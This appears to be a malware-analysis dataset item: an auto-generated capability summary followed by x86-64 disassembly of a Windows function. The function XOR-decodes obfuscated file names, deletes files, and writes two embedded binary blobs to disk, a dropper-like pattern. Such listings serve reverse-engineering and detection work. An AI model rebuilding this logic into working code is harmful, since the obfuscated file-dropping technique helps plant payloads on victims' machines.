Function at 0x14001d220
Capabilities:
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x1400d0b68]
xor rax, rsp
mov qword [rbp + 0x18], rax
xor r14d, r14d
lea ecx, [r14 + 0x2e]
xor edx, edx
call fcn.140019110
movzx edi, ax
mov word [rsp + 0x40], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x72]
call fcn.140019110
mov word [rsp + 0x42], ax
lea ecx, [r14 + 0x79]
lea edx, [rcx - 0x77]
call fcn.140019110
mov word [rsp + 0x44], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x70]
call fcn.140019110
mov word [rsp + 0x46], ax
xor ecx, ecx
lea edx, [rcx + 4]
call fcn.140019110
movzx esi, ax
mov word [rsp + 0x48], ax
lea edx, [r14 + 5]
movzx ecx, word [0x140072e5a]
call fcn.140019110
mov word [rsp + 0x4a], ax
lea edx, [r14 + 6]
movzx ecx, word [0x140072e5c]
call fcn.140019110
mov word [rsp + 0x4c], ax
lea edx, [r14 + 7]
movzx ecx, word [0x140072e5e]
call fcn.140019110
mov word [rsp + 0x4e], ax
lea edx, [r14 + 8]
movzx ecx, word [str..exe]
call fcn.140019110
mov word [rsp + 0x50], ax
xor eax, eax
mov word [rsp + 0x52], ax
mov edx, r14d
mov r15d, 0x133
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14001d320
mov word [rsp + 0x52], r14w
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], r14w
jne 0x14001d360
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 8]
call fcn.1400197b0
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.14001eb40
nop
mov word [rsp + 0x40], di
mov ecx, 0x65
lea edx, [rcx - 0x64]
call fcn.140019110
mov word [rsp + 0x42], ax
mov ecx, 0x78
lea edx, [rcx - 0x76]
call fcn.140019110
mov word [rsp + 0x44], ax
mov ecx, 0x65
lea edx, [rcx - 0x62]
call fcn.140019110
mov word [rsp + 0x46], ax
mov word [rsp + 0x48], si
mov edx, 5
movzx ecx, word [0x140072e6a]
call fcn.140019110
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x140072e6c]
call fcn.140019110
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x140072e6e]
call fcn.140019110
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.140019110
mov word [rsp + 0x50], ax
xor eax, eax
mov word [rsp + 0x52], ax
mov edx, r14d
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14001d430
mov word [rsp + 0x52], r14w
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
lea rax, [rsp + 0x40]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14001d470
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.1400197b0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x48]
call fcn.14001eb40
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.140019110
mov word [rsp + 0x40], ax
mov ecx, WSAGetLastError
lea edx, [rcx - 0x6c]
call fcn.140019110
mov word [rsp + 0x42], ax
mov ecx, 0x61
lea edx, [rcx - 0x5f]
call fcn.140019110
mov word [rsp + 0x44], ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
lea edx, [rcx - 0x6d]
call fcn.140019110
mov word [rsp + 0x46], ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
lea edx, [rcx - 0x1c]
call fcn.140019110
mov word [rsp + 0x48], ax
xor ecx, ecx
lea edx, [rcx + 5]
call fcn.140019110
mov word [rsp + 0x60], ax
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x140072e7c]
call fcn.140019110
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x140072e7e]
call fcn.140019110
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [0x140072e80]
call fcn.140019110
mov word [rsp + 0x50], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSACleanup]
call fcn.140019110
mov word [rsp + 0x52], ax
mov edx, 0xa
movzx ecx, word [0x140072e84]
call fcn.140019110
mov word [rsp + 0x54], ax
xor eax, eax
mov word [rsp + 0x56], ax
mov edx, r14d
nop
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14001d580
mov word [rsp + 0x56], r14w
lea rax, [rsp + 0x40]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14001d5a5
mov r12, qword [rbp - 0x18]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, r12
cmp rax, rbx
jb 0x14001dc1c
lea r13, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r13, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea r15, [r12 + rbx]
mov esi, 7
lea r14, [rbp - 8]
cmp r15, rsi
jbe 0x14001d625
mov rsi, r15
or rsi, 7
cmp rsi, rdi
jbe 0x14001d604
mov rsi, rdi
jmp 0x14001d611
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp - 8]
call fcn.14000b4c0
mov r14, rax
mov qword [rbp - 8], rax
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + r14]
lea r8, [r12 + r12]
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
xor r12d, r12d
mov word [r14 + r15*2], r12w
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov rsi, qword [rbp - 0x18]
lea r14, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r14, qword [rbp - 0x28]
cmp rsi, rdi
ja 0x14001dc22
mov qword [rsp + 0x58], 7
cmp rsi, 8
jae 0x14001d6e0
mov qword [rsp + 0x50], rsi
lea r8d, [r12 + 0x10]
mov rdx, r14
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001d72e
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14001d6f1
mov rbx, rdi
jmp 0x14001d6fe
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.14000b4c0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov dword [rbp - 0x50], r12d
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14001d7a5
cmp rbx, 0xffffffffffffffff
je 0x14001d7a5
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x50]
mov r8d, 0x2400
lea rdx, [0x14008d510]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call fcn.14000a170
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
mov rsi, qword [rbp - 0x38]
lea r14, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r14, qword [rbp - 0x48]
cmp rsi, rdi
ja 0x14001dc28
mov qword [rsp + 0x58], 7
cmp rsi, 8
jae 0x14001d805
mov qword [rsp + 0x50], rsi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memmove
jmp 0x14001d853
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14001d816
mov rbx, rdi
jmp 0x14001d823
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x40]
call fcn.14000b4c0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov dword [rbp - 0x50], r12d
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14001d8ca
cmp rbx, 0xffffffffffffffff
je 0x14001d8ca
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x50]
mov r8d, 0x41200
lea rdx, [0x14008f910]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call fcn.140002ba0
int3